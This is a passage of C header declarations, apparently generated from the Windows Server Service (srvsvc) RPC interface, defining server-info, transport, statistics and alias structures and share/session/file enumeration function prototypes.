} \tSERVER_INFO_1010;\n\ntypedef struct _SERVER_INFO_1010 *PSERVER_INFO_1010;\n\ntypedef struct _SERVER_INFO_1010 *LPSERVER_INFO_1010;\n\ntypedef struct _SERVER_INFO_1016\n    {\n    int sv1016_hidden;\n    } \tSERVER_INFO_1016;\n\ntypedef struct _SERVER_INFO_1016 *PSERVER_INFO_1016;\n\ntypedef struct _SERVER_INFO_1016 *LPSERVER_INFO_1016;\n\ntypedef struct _SERVER_INFO_1017\n    {\n    DWORD sv1017_announce;\n    } \tSERVER_INFO_1017;\n\ntypedef struct _SERVER_INFO_1017 *PSERVER_INFO_1017;\n\ntypedef struct _SERVER_INFO_1017 *LPSERVER_INFO_1017;\n\ntypedef struct _SERVER_INFO_1018\n    {\n    DWORD sv1018_anndelta;\n    } \tSERVER_INFO_1018;\n\ntypedef struct _SERVER_INFO_1018 *PSERVER_INFO_1018;\n\ntypedef struct _SERVER_INFO_1018 *LPSERVER_INFO_1018;\n\ntypedef struct _SERVER_INFO_1501\n    {\n    DWORD sv1501_sessopens;\n    } \tSERVER_INFO_1501;\n\ntypedef struct _SERVER_INFO_1501 *PSERVER_INFO_1501;\n\ntypedef struct _SERVER_INFO_1501 *LPSERVER_INFO_1501;\n\ntypedef struct _SERVER_INFO_1502\n    {\n    DWORD sv1502_sessvcs;\n    } \tSERVER_INFO_1502;\n\ntypedef struct _SERVER_INFO_1502 *PSERVER_INFO_1502;\n\ntypedef struct _SERVER_INFO_1502 *LPSERVER_INFO_1502;\n\ntypedef struct _SERVER_INFO_1503\n    {\n    DWORD sv1503_opensearch;\n    } \tSERVER_INFO_1503;\n\ntypedef struct _SERVER_INFO_1503 *PSERVER_INFO_1503;\n\ntypedef struct _SERVER_INFO_1503 *LPSERVER_INFO_1503;\n\ntypedef struct _SERVER_INFO_1506\n    {\n    DWORD sv1506_maxworkitems;\n    } \tSERVER_INFO_1506;\n\ntypedef struct _SERVER_INFO_1506 *PSERVER_INFO_1506;\n\ntypedef struct _SERVER_INFO_1506 *LPSERVER_INFO_1506;\n\ntypedef struct _SERVER_INFO_1510\n    {\n    DWORD sv1510_sessusers;\n    } \tSERVER_INFO_1510;\n\ntypedef struct _SERVER_INFO_1510 *PSERVER_INFO_1510;\n\ntypedef struct _SERVER_INFO_1510 *LPSERVER_INFO_1510;\n\ntypedef struct _SERVER_INFO_1511\n    {\n    DWORD sv1511_sessconns;\n    } \tSERVER_INFO_1511;\n\ntypedef struct _SERVER_INFO_1511 *PSERVER_INFO_1511;\n\ntypedef struct _SERVER_INFO_1511 *LPSERVER_INFO_1511;\n\ntypedef struct _SERVER_INFO_1512\n    {\n    DWORD sv1512_maxnonpagedmemoryusage;\n    } \tSERVER_INFO_1512;\n\ntypedef struct _SERVER_INFO_1512 *PSERVER_INFO_1512;\n\ntypedef struct _SERVER_INFO_1512 *LPSERVER_INFO_1512;\n\ntypedef struct _SERVER_INFO_1513\n    {\n    DWORD sv1513_maxpagedmemoryusage;\n    } \tSERVER_INFO_1513;\n\ntypedef struct _SERVER_INFO_1513 *PSERVER_INFO_1513;\n\ntypedef struct _SERVER_INFO_1513 *LPSERVER_INFO_1513;\n\ntypedef struct _SERVER_INFO_1514\n    {\n    int sv1514_enablesoftcompat;\n    } \tSERVER_INFO_1514;\n\ntypedef struct _SERVER_INFO_1514 *PSERVER_INFO_1514;\n\ntypedef struct _SERVER_INFO_1514 *LPSERVER_INFO_1514;\n\ntypedef struct _SERVER_INFO_1515\n    {\n    int sv1515_enableforcedlogoff;\n    } \tSERVER_INFO_1515;\n\ntypedef struct _SERVER_INFO_1515 *PSERVER_INFO_1515;\n\ntypedef struct _SERVER_INFO_1515 *LPSERVER_INFO_1515;\n\ntypedef struct _SERVER_INFO_1516\n    {\n    int sv1516_timesource;\n    } \tSERVER_INFO_1516;\n\ntypedef struct _SERVER_INFO_1516 *PSERVER_INFO_1516;\n\ntypedef struct _SERVER_INFO_1516 *LPSERVER_INFO_1516;\n\ntypedef struct _SERVER_INFO_1518\n    {\n    int sv1518_lmannounce;\n    } \tSERVER_INFO_1518;\n\ntypedef struct _SERVER_INFO_1518 *PSERVER_INFO_1518;\n\ntypedef struct _SERVER_INFO_1518 *LPSERVER_INFO_1518;\n\ntypedef struct _SERVER_INFO_1523\n    {\n    DWORD sv1523_maxkeepsearch;\n    } \tSERVER_INFO_1523;\n\ntypedef struct _SERVER_INFO_1523 *PSERVER_INFO_1523;\n\ntypedef struct _SERVER_INFO_1523 *LPSERVER_INFO_1523;\n\ntypedef struct _SERVER_INFO_1528\n    {\n    DWORD sv1528_scavtimeout;\n    } \tSERVER_INFO_1528;\n\ntypedef struct _SERVER_INFO_1528 *PSERVER_INFO_1528;\n\ntypedef struct _SERVER_INFO_1528 *LPSERVER_INFO_1528;\n\ntypedef struct _SERVER_INFO_1529\n    {\n    DWORD sv1529_minrcvqueue;\n    } \tSERVER_INFO_1529;\n\ntypedef struct _SERVER_INFO_1529 *PSERVER_INFO_1529;\n\ntypedef struct _SERVER_INFO_1529 *LPSERVER_INFO_1529;\n\ntypedef struct _SERVER_INFO_1530\n    {\n    DWORD sv1530_minfreeworkitems;\n    } \tSERVER_INFO_1530;\n\ntypedef struct _SERVER_INFO_1530 *PSERVER_INFO_1530;\n\ntypedef struct _SERVER_INFO_1530 *LPSERVER_INFO_1530;\n\ntypedef struct _SERVER_INFO_1533\n    {\n    DWORD sv1533_maxmpxct;\n    } \tSERVER_INFO_1533;\n\ntypedef struct _SERVER_INFO_1533 *PSERVER_INFO_1533;\n\ntypedef struct _SERVER_INFO_1533 *LPSERVER_INFO_1533;\n\ntypedef struct _SERVER_INFO_1534\n    {\n    DWORD sv1534_oplockbreakwait;\n    } \tSERVER_INFO_1534;\n\ntypedef struct _SERVER_INFO_1534 *PSERVER_INFO_1534;\n\ntypedef struct _SERVER_INFO_1534 *LPSERVER_INFO_1534;\n\ntypedef struct _SERVER_INFO_1535\n    {\n    DWORD sv1535_oplockbreakresponsewait;\n    } \tSERVER_INFO_1535;\n\ntypedef struct _SERVER_INFO_1535 *PSERVER_INFO_1535;\n\ntypedef struct _SERVER_INFO_1535 *LPSERVER_INFO_1535;\n\ntypedef struct _SERVER_INFO_1536\n    {\n    int sv1536_enableoplocks;\n    } \tSERVER_INFO_1536;\n\ntypedef struct _SERVER_INFO_1536 *PSERVER_INFO_1536;\n\ntypedef struct _SERVER_INFO_1536 *LPSERVER_INFO_1536;\n\ntypedef struct _SERVER_INFO_1538\n    {\n    int sv1538_enablefcbopens;\n    } \tSERVER_INFO_1538;\n\ntypedef struct _SERVER_INFO_1538 *PSERVER_INFO_1538;\n\ntypedef struct _SERVER_INFO_1538 *LPSERVER_INFO_1538;\n\ntypedef struct _SERVER_INFO_1539\n    {\n    int sv1539_enableraw;\n    } \tSERVER_INFO_1539;\n\ntypedef struct _SERVER_INFO_1539 *PSERVER_INFO_1539;\n\ntypedef struct _SERVER_INFO_1539 *LPSERVER_INFO_1539;\n\ntypedef struct _SERVER_INFO_1540\n    {\n    int sv1540_enablesharednetdrives;\n    } \tSERVER_INFO_1540;\n\ntypedef struct _SERVER_INFO_1540 *PSERVER_INFO_1540;\n\ntypedef struct _SERVER_INFO_1540 *LPSERVER_INFO_1540;\n\ntypedef struct _SERVER_INFO_1541\n    {\n    int sv1541_minfreeconnections;\n    } \tSERVER_INFO_1541;\n\ntypedef struct _SERVER_INFO_1541 *PSERVER_INFO_1541;\n\ntypedef struct _SERVER_INFO_1541 *LPSERVER_INFO_1541;\n\ntypedef struct _SERVER_INFO_1542\n    {\n    int sv1542_maxfreeconnections;\n    } \tSERVER_INFO_1542;\n\ntypedef struct _SERVER_INFO_1542 *PSERVER_INFO_1542;\n\ntypedef struct _SERVER_INFO_1542 *LPSERVER_INFO_1542;\n\ntypedef struct _SERVER_INFO_1543\n    {\n    DWORD sv1543_initsesstable;\n    } \tSERVER_INFO_1543;\n\ntypedef struct _SERVER_INFO_1543 *PSERVER_INFO_1543;\n\ntypedef struct _SERVER_INFO_1543 *LPSERVER_INFO_1543;\n\ntypedef struct _SERVER_INFO_1544\n    {\n    DWORD sv1544_initconntable;\n    } \tSERVER_INFO_1544;\n\ntypedef struct _SERVER_INFO_1544 *PSERVER_INFO_1544;\n\ntypedef struct _SERVER_INFO_1544 *LPSERVER_INFO_1544;\n\ntypedef struct _SERVER_INFO_1545\n    {\n    DWORD sv1545_initfiletable;\n    } \tSERVER_INFO_1545;\n\ntypedef struct _SERVER_INFO_1545 *PSERVER_INFO_1545;\n\ntypedef struct _SERVER_INFO_1545 *LPSERVER_INFO_1545;\n\ntypedef struct _SERVER_INFO_1546\n    {\n    DWORD sv1546_initsearchtable;\n    } \tSERVER_INFO_1546;\n\ntypedef struct _SERVER_INFO_1546 *PSERVER_INFO_1546;\n\ntypedef struct _SERVER_INFO_1546 *LPSERVER_INFO_1546;\n\ntypedef struct _SERVER_INFO_1547\n    {\n    DWORD sv1547_alertschedule;\n    } \tSERVER_INFO_1547;\n\ntypedef struct _SERVER_INFO_1547 *PSERVER_INFO_1547;\n\ntypedef struct _SERVER_INFO_1547 *LPSERVER_INFO_1547;\n\ntypedef struct _SERVER_INFO_1548\n    {\n    DWORD sv1548_errorthreshold;\n    } \tSERVER_INFO_1548;\n\ntypedef struct _SERVER_INFO_1548 *PSERVER_INFO_1548;\n\ntypedef struct _SERVER_INFO_1548 *LPSERVER_INFO_1548;\n\ntypedef struct _SERVER_INFO_1549\n    {\n    DWORD sv1549_networkerrorthreshold;\n    } \tSERVER_INFO_1549;\n\ntypedef struct _SERVER_INFO_1549 *PSERVER_INFO_1549;\n\ntypedef struct _SERVER_INFO_1549 *LPSERVER_INFO_1549;\n\ntypedef struct _SERVER_INFO_1550\n    {\n    DWORD sv1550_diskspacethreshold;\n    } \tSERVER_INFO_1550;\n\ntypedef struct _SERVER_INFO_1550 *PSERVER_INFO_1550;\n\ntypedef struct _SERVER_INFO_1550 *LPSERVER_INFO_1550;\n\ntypedef struct _SERVER_INFO_1552\n    {\n    DWORD sv1552_maxlinkdelay;\n    } \tSERVER_INFO_1552;\n\ntypedef struct _SERVER_INFO_1552 *PSERVER_INFO_1552;\n\ntypedef struct _SERVER_INFO_1552 *LPSERVER_INFO_1552;\n\ntypedef struct _SERVER_INFO_1553\n    {\n    DWORD sv1553_minlinkthroughput;\n    } \tSERVER_INFO_1553;\n\ntypedef struct _SERVER_INFO_1553 *PSERVER_INFO_1553;\n\ntypedef struct _SERVER_INFO_1553 *LPSERVER_INFO_1553;\n\ntypedef struct _SERVER_INFO_1554\n    {\n    DWORD sv1554_linkinfovalidtime;\n    } \tSERVER_INFO_1554;\n\ntypedef struct _SERVER_INFO_1554 *PSERVER_INFO_1554;\n\ntypedef struct _SERVER_INFO_1554 *LPSERVER_INFO_1554;\n\ntypedef struct _SERVER_INFO_1555\n    {\n    DWORD sv1555_scavqosinfoupdatetime;\n    } \tSERVER_INFO_1555;\n\ntypedef struct _SERVER_INFO_1555 *PSERVER_INFO_1555;\n\ntypedef struct _SERVER_INFO_1555 *LPSERVER_INFO_1555;\n\ntypedef struct _SERVER_INFO_1556\n    {\n    DWORD sv1556_maxworkitemidletime;\n    } \tSERVER_INFO_1556;\n\ntypedef struct _SERVER_INFO_1556 *PSERVER_INFO_1556;\n\ntypedef struct _SERVER_INFO_1556 *LPSERVER_INFO_1556;\n\ntypedef /* [switch_type] */ union _SERVER_INFO\n    {\n    /* [case()] */ LPSERVER_INFO_100 ServerInfo100;\n    /* [case()] */ LPSERVER_INFO_101 ServerInfo101;\n    /* [case()] */ LPSERVER_INFO_102 ServerInfo102;\n    /* [case()] */ LPSERVER_INFO_103 ServerInfo103;\n    /* [case()] */ LPSERVER_INFO_502 ServerInfo502;\n    /* [case()] */ LPSERVER_INFO_503 ServerInfo503;\n    /* [case()] */ LPSERVER_INFO_599 ServerInfo599;\n    /* [case()] */ LPSERVER_INFO_1005 ServerInfo1005;\n    /* [case()] */ LPSERVER_INFO_1107 ServerInfo1107;\n    /* [case()] */ LPSERVER_INFO_1010 ServerInfo1010;\n    /* [case()] */ LPSERVER_INFO_1016 ServerInfo1016;\n    /* [case()] */ LPSERVER_INFO_1017 ServerInfo1017;\n    /* [case()] */ LPSERVER_INFO_1018 ServerInfo1018;\n    /* [case()] */ LPSERVER_INFO_1501 ServerInfo1501;\n    /* [case()] */ LPSERVER_INFO_1502 ServerInfo1502;\n    /* [case()] */ LPSERVER_INFO_1503 ServerInfo1503;\n    /* [case()] */ LPSERVER_INFO_1506 ServerInfo1506;\n    /* [case()] */ LPSERVER_INFO_1510 ServerInfo1510;\n    /* [case()] */ LPSERVER_INFO_1511 ServerInfo1511;\n    /* [case()] */ LPSERVER_INFO_1512 ServerInfo1512;\n    /* [case()] */ LPSERVER_INFO_1513 ServerInfo1513;\n    /* [case()] */ LPSERVER_INFO_1514 ServerInfo1514;\n    /* [case()] */ LPSERVER_INFO_1515 ServerInfo1515;\n    /* [case()] */ LPSERVER_INFO_1516 ServerInfo1516;\n    /* [case()] */ LPSERVER_INFO_1518 ServerInfo1518;\n    /* [case()] */ LPSERVER_INFO_1523 ServerInfo1523;\n    /* [case()] */ LPSERVER_INFO_1528 ServerInfo1528;\n    /* [case()] */ LPSERVER_INFO_1529 ServerInfo1529;\n    /* [case()] */ LPSERVER_INFO_1530 ServerInfo1530;\n    /* [case()] */ LPSERVER_INFO_1533 ServerInfo1533;\n    /* [case()] */ LPSERVER_INFO_1534 ServerInfo1534;\n    /* [case()] */ LPSERVER_INFO_1535 ServerInfo1535;\n    /* [case()] */ LPSERVER_INFO_1536 ServerInfo1536;\n    /* [case()] */ LPSERVER_INFO_1538 ServerInfo1538;\n    /* [case()] */ LPSERVER_INFO_1539 ServerInfo1539;\n    /* [case()] */ LPSERVER_INFO_1540 ServerInfo1540;\n    /* [case()] */ LPSERVER_INFO_1541 ServerInfo1541;\n    /* [case()] */ LPSERVER_INFO_1542 ServerInfo1542;\n    /* [case()] */ LPSERVER_INFO_1543 ServerInfo1543;\n    /* [case()] */ LPSERVER_INFO_1544 ServerInfo1544;\n    /* [case()] */ LPSERVER_INFO_1545 ServerInfo1545;\n    /* [case()] */ LPSERVER_INFO_1546 ServerInfo1546;\n    /* [case()] */ LPSERVER_INFO_1547 ServerInfo1547;\n    /* [case()] */ LPSERVER_INFO_1548 ServerInfo1548;\n    /* [case()] */ LPSERVER_INFO_1549 ServerInfo1549;\n    /* [case()] */ LPSERVER_INFO_1550 ServerInfo1550;\n    /* [case()] */ LPSERVER_INFO_1552 ServerInfo1552;\n    /* [case()] */ LPSERVER_INFO_1553 ServerInfo1553;\n    /* [case()] */ LPSERVER_INFO_1554 ServerInfo1554;\n    /* [case()] */ LPSERVER_INFO_1555 ServerInfo1555;\n    /* [case()] */ LPSERVER_INFO_1556 ServerInfo1556;\n    } \tSERVER_INFO;\n\ntypedef /* [switch_type] */ union _SERVER_INFO *PSERVER_INFO;\n\ntypedef /* [switch_type] */ union _SERVER_INFO *LPSERVER_INFO;\n\ntypedef struct _DISK_INFO\n    {\n    /* [string] */ WCHAR Disk[ 3 ];\n    } \tDISK_INFO;\n\ntypedef struct _DISK_INFO *PDISK_INFO;\n\ntypedef struct _DISK_INFO *LPDISK_INFO;\n\ntypedef struct _DISK_ENUM_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [length_is][size_is] */ LPDISK_INFO Buffer;\n    } \tDISK_ENUM_CONTAINER;\n\ntypedef struct _SERVER_TRANSPORT_INFO_0\n    {\n    DWORD svti0_numberofvcs;\n    /* [string] */ wchar_t *svti0_transportname;\n    /* [size_is] */ unsigned char *svti0_transportaddress;\n    DWORD svti0_transportaddresslength;\n    /* [string] */ wchar_t *svti0_networkaddress;\n    } \tSERVER_TRANSPORT_INFO_0;\n\ntypedef struct _SERVER_TRANSPORT_INFO_0 *PSERVER_TRANSPORT_INFO_0;\n\ntypedef struct _SERVER_TRANSPORT_INFO_0 *LPSERVER_TRANSPORT_INFO_0;\n\ntypedef struct _SERVER_XPORT_INFO_0_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSERVER_TRANSPORT_INFO_0 Buffer;\n    } \tSERVER_XPORT_INFO_0_CONTAINER;\n\ntypedef struct _SERVER_XPORT_INFO_0_CONTAINER *PSERVER_XPORT_INFO_0_CONTAINER;\n\ntypedef struct _SERVER_TRANSPORT_INFO_1\n    {\n    DWORD svti1_numberofvcs;\n    /* [string] */ wchar_t *svti1_transportname;\n    /* [size_is] */ unsigned char *svti1_transportaddress;\n    DWORD svti1_transportaddresslength;\n    /* [string] */ wchar_t *svti1_networkaddress;\n    /* [string] */ wchar_t *svti1_domain;\n    } \tSERVER_TRANSPORT_INFO_1;\n\ntypedef struct _SERVER_TRANSPORT_INFO_1 *PSERVER_TRANSPORT_INFO_1;\n\ntypedef struct _SERVER_TRANSPORT_INFO_1 *LPSERVER_TRANSPORT_INFO_1;\n\ntypedef struct _SERVER_XPORT_INFO_1_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSERVER_TRANSPORT_INFO_1 Buffer;\n    } \tSERVER_XPORT_INFO_1_CONTAINER;\n\ntypedef struct _SERVER_XPORT_INFO_1_CONTAINER *PSERVER_XPORT_INFO_1_CONTAINER;\n\ntypedef struct _SERVER_TRANSPORT_INFO_2\n    {\n    DWORD svti2_numberofvcs;\n    /* [string] */ wchar_t *svti2_transportname;\n    /* [size_is] */ unsigned char *svti2_transportaddress;\n    DWORD svti2_transportaddresslength;\n    /* [string] */ wchar_t *svti2_networkaddress;\n    /* [string] */ wchar_t *svti2_domain;\n    unsigned long svti2_flags;\n    } \tSERVER_TRANSPORT_INFO_2;\n\ntypedef struct _SERVER_TRANSPORT_INFO_2 *PSERVER_TRANSPORT_INFO_2;\n\ntypedef struct _SERVER_TRANSPORT_INFO_2 *LPSERVER_TRANSPORT_INFO_2;\n\ntypedef struct _SERVER_XPORT_INFO_2_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSERVER_TRANSPORT_INFO_2 Buffer;\n    } \tSERVER_XPORT_INFO_2_CONTAINER;\n\ntypedef struct _SERVER_XPORT_INFO_2_CONTAINER *PSERVER_XPORT_INFO_2_CONTAINER;\n\ntypedef struct _SERVER_TRANSPORT_INFO_3\n    {\n    DWORD svti3_numberofvcs;\n    /* [string] */ wchar_t *svti3_transportname;\n    /* [size_is] */ unsigned char *svti3_transportaddress;\n    DWORD svti3_transportaddresslength;\n    /* [string] */ wchar_t *svti3_networkaddress;\n    /* [string] */ wchar_t *svti3_domain;\n    unsigned long svti3_flags;\n    DWORD svti3_passwordlength;\n    unsigned char svti3_password[ 256 ];\n    } \tSERVER_TRANSPORT_INFO_3;\n\ntypedef struct _SERVER_TRANSPORT_INFO_3 *PSERVER_TRANSPORT_INFO_3;\n\ntypedef struct _SERVER_TRANSPORT_INFO_3 *LPSERVER_TRANSPORT_INFO_3;\n\ntypedef struct _SERVER_XPORT_INFO_3_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSERVER_TRANSPORT_INFO_3 Buffer;\n    } \tSERVER_XPORT_INFO_3_CONTAINER;\n\ntypedef struct _SERVER_XPORT_INFO_3_CONTAINER *PSERVER_XPORT_INFO_3_CONTAINER;\n\ntypedef /* [switch_type] */ union _TRANSPORT_INFO\n    {\n    /* [case()] */ SERVER_TRANSPORT_INFO_0 Transport0;\n    /* [case()] */ SERVER_TRANSPORT_INFO_1 Transport1;\n    /* [case()] */ SERVER_TRANSPORT_INFO_2 Transport2;\n    /* [case()] */ SERVER_TRANSPORT_INFO_3 Transport3;\n    } \tTRANSPORT_INFO;\n\ntypedef /* [switch_type] */ union _TRANSPORT_INFO *PTRANSPORT_INFO;\n\ntypedef /* [switch_type] */ union _TRANSPORT_INFO *LPTRANSPORT_INFO;\n\ntypedef /* [switch_type] */ union _SERVER_XPORT_ENUM_UNION\n    {\n    /* [case()] */ PSERVER_XPORT_INFO_0_CONTAINER Level0;\n    /* [case()] */ PSERVER_XPORT_INFO_1_CONTAINER Level1;\n    /* [case()] */ PSERVER_XPORT_INFO_2_CONTAINER Level2;\n    /* [case()] */ PSERVER_XPORT_INFO_3_CONTAINER Level3;\n    } \tSERVER_XPORT_ENUM_UNION;\n\ntypedef struct _SERVER_XPORT_ENUM_STRUCT\n    {\n    DWORD Level;\n    /* [switch_is] */ SERVER_XPORT_ENUM_UNION XportInfo;\n    } \tSERVER_XPORT_ENUM_STRUCT;\n\ntypedef struct _SERVER_XPORT_ENUM_STRUCT *PSERVER_XPORT_ENUM_STRUCT;\n\ntypedef struct _SERVER_XPORT_ENUM_STRUCT *LPSERVER_XPORT_ENUM_STRUCT;\n\ntypedef /* [context_handle] */ void *SHARE_DEL_HANDLE;\n\ntypedef SHARE_DEL_HANDLE *PSHARE_DEL_HANDLE;\n\ntypedef struct _ADT_SECURITY_DESCRIPTOR\n    {\n    DWORD Length;\n    /* [size_is] */ unsigned char *Buffer;\n    } \tADT_SECURITY_DESCRIPTOR;\n\ntypedef struct _ADT_SECURITY_DESCRIPTOR *PADT_SECURITY_DESCRIPTOR;\n\ntypedef struct _STAT_SERVER_0\n    {\n    DWORD sts0_start;\n    DWORD sts0_fopens;\n    DWORD sts0_devopens;\n    DWORD sts0_jobsqueued;\n    DWORD sts0_sopens;\n    DWORD sts0_stimedout;\n    DWORD sts0_serrorout;\n    DWORD sts0_pwerrors;\n    DWORD sts0_permerrors;\n    DWORD sts0_syserrors;\n    DWORD sts0_bytessent_low;\n    DWORD sts0_bytessent_high;\n    DWORD sts0_bytesrcvd_low;\n    DWORD sts0_bytesrcvd_high;\n    DWORD sts0_avresponse;\n    DWORD sts0_reqbufneed;\n    DWORD sts0_bigbufneed;\n    } \tSTAT_SERVER_0;\n\ntypedef struct _STAT_SERVER_0 *PSTAT_SERVER_0;\n\ntypedef struct _STAT_SERVER_0 *LPSTAT_SERVER_0;\n\ntypedef struct _TIME_OF_DAY_INFO\n    {\n    DWORD tod_elapsedt;\n    DWORD tod_msecs;\n    DWORD tod_hours;\n    DWORD tod_mins;\n    DWORD tod_secs;\n    DWORD tod_hunds;\n    long tod_timezone;\n    DWORD tod_tinterval;\n    DWORD tod_day;\n    DWORD tod_month;\n    DWORD tod_year;\n    DWORD tod_weekday;\n    } \tTIME_OF_DAY_INFO;\n\ntypedef struct _TIME_OF_DAY_INFO *PTIME_OF_DAY_INFO;\n\ntypedef struct _TIME_OF_DAY_INFO *LPTIME_OF_DAY_INFO;\n\ntypedef struct _NET_DFS_ENTRY_ID\n    {\n    GUID Uid;\n    /* [string] */ WCHAR *Prefix;\n    } \tNET_DFS_ENTRY_ID;\n\ntypedef struct _NET_DFS_ENTRY_ID *LPNET_DFS_ENTRY_ID;\n\ntypedef struct _NET_DFS_ENTRY_ID_CONTAINER\n    {\n    unsigned long Count;\n    /* [size_is] */ LPNET_DFS_ENTRY_ID Buffer;\n    } \tNET_DFS_ENTRY_ID_CONTAINER;\n\ntypedef struct _NET_DFS_ENTRY_ID_CONTAINER *LPNET_DFS_ENTRY_ID_CONTAINER;\n\ntypedef struct _DFS_SITENAME_INFO\n    {\n    unsigned long SiteFlags;\n    /* [unique][string] */ WCHAR *SiteName;\n    } \tDFS_SITENAME_INFO;\n\ntypedef struct _DFS_SITENAME_INFO *PDFS_SITENAME_INFO;\n\ntypedef struct _DFS_SITENAME_INFO *LPDFS_SITENAME_INFO;\n\ntypedef struct _DFS_SITELIST_INFO\n    {\n    unsigned long cSites;\n    /* [size_is] */ DFS_SITENAME_INFO Site[ 1 ];\n    } \tDFS_SITELIST_INFO;\n\ntypedef struct _DFS_SITELIST_INFO *PDFS_SITELIST_INFO;\n\ntypedef struct _DFS_SITELIST_INFO *LPDFS_SITELIST_INFO;\n\ntypedef struct _SERVER_ALIAS_INFO_0\n    {\n    /* [string] */ LMSTR srvai0_alias;\n    /* [string] */ LMSTR srvai0_target;\n    BOOLEAN srvai0_default;\n    ULONG srvai0_reserved;\n    } \tSERVER_ALIAS_INFO_0;\n\ntypedef struct _SERVER_ALIAS_INFO_0 *PSERVER_ALIAS_INFO_0;\n\ntypedef struct _SERVER_ALIAS_INFO_0 *LPSERVER_ALIAS_INFO_0;\n\ntypedef struct _SERVER_ALIAS_INFO_0_CONTAINER\n    {\n    DWORD EntriesRead;\n    /* [size_is] */ LPSERVER_ALIAS_INFO_0 Buffer;\n    } \tSERVER_ALIAS_INFO_0_CONTAINER;\n\ntypedef struct _SERVER_ALIAS_ENUM_STRUCT\n    {\n    DWORD Level;\n    /* [switch_is] */ /* [switch_type] */ union _SERVER_ALIAS_ENUM_UNION\n        {\n        /* [case()] */ SERVER_ALIAS_INFO_0_CONTAINER *Level0;\n        } \tServerAliasInfo;\n    } \tSERVER_ALIAS_ENUM_STRUCT;\n\ntypedef struct _SERVER_ALIAS_ENUM_STRUCT *PSERVER_ALIAS_ENUM_STRUCT;\n\ntypedef struct _SERVER_ALIAS_ENUM_STRUCT *LPSERVER_ALIAS_ENUM_STRUCT;\n\ntypedef /* [switch_type] */ union _SERVER_ALIAS_INFO\n    {\n    /* [case()] */ LPSERVER_ALIAS_INFO_0 ServerAliasInfo0;\n    } \tSERVER_ALIAS_INFO;\n\ntypedef /* [switch_type] */ union _SERVER_ALIAS_INFO *PSERVER_ALIAS_INFO;\n\ntypedef /* [switch_type] */ union _SERVER_ALIAS_INFO *LPSERVER_ALIAS_INFO;\n\nvoid Opnum0NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum1NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum2NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum3NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum4NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum5NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum6NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum7NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nNET_API_STATUS NetrConnectionEnum( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][string][in] */ WCHAR *Qualifier,\n    /* [out][in] */ LPCONNECT_ENUM_STRUCT InfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ DWORD *TotalEntries,\n    /* [unique][out][in] */ DWORD *ResumeHandle);\n\nNET_API_STATUS NetrFileEnum( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][string][in] */ WCHAR *BasePath,\n    /* [unique][string][in] */ WCHAR *UserName,\n    /* [out][in] */ PFILE_ENUM_STRUCT InfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ DWORD *TotalEntries,\n    /* [unique][out][in] */ DWORD *ResumeHandle);\n\nNET_API_STATUS NetrFileGetInfo( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD FileId,\n    /* [in] */ DWORD Level,\n    /* [switch_is][out] */ LPFILE_INFO InfoStruct);\n\nNET_API_STATUS NetrFileClose( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD FileId);\n\nNET_API_STATUS NetrSessionEnum( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][string][in] */ WCHAR *ClientName,\n    /* [unique][string][in] */ WCHAR *UserName,\n    /* [out][in] */ PSESSION_ENUM_STRUCT InfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ DWORD *TotalEntries,\n    /* [unique][out][in] */ DWORD *ResumeHandle);\n\nNET_API_STATUS NetrSessionDel( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][string][in] */ WCHAR *ClientName,\n    /* [unique][string][in] */ WCHAR *UserName);\n\nNET_API_STATUS NetrShareAdd( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPSHARE_INFO InfoStruct,\n    /* [unique][out][in] */ DWORD *ParmErr);\n\nNET_API_STATUS NetrShareEnum( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [out][in] */ LPSHARE_ENUM_STRUCT InfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ DWORD *TotalEntries,\n    /* [unique][out][in] */ DWORD *ResumeHandle);\n\nNET_API_STATUS NetrShareGetInfo( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *NetName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][out] */ LPSHARE_INFO InfoStruct);\n\nNET_API_STATUS NetrShareSetInfo( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *NetName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPSHARE_INFO ShareInfo,\n    /* [unique][out][in] */ DWORD *ParmErr);\n\nNET_API_STATUS NetrShareDel( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *NetName,\n    /* [in] */ DWORD Reserved);\n\nNET_API_STATUS NetrShareDelSticky( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *NetName,\n    /* [in] */ DWORD Reserved);\n\nNET_API_STATUS NetrShareCheck( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *Device,\n    /* [out] */ DWORD *Type);\n\nNET_API_STATUS 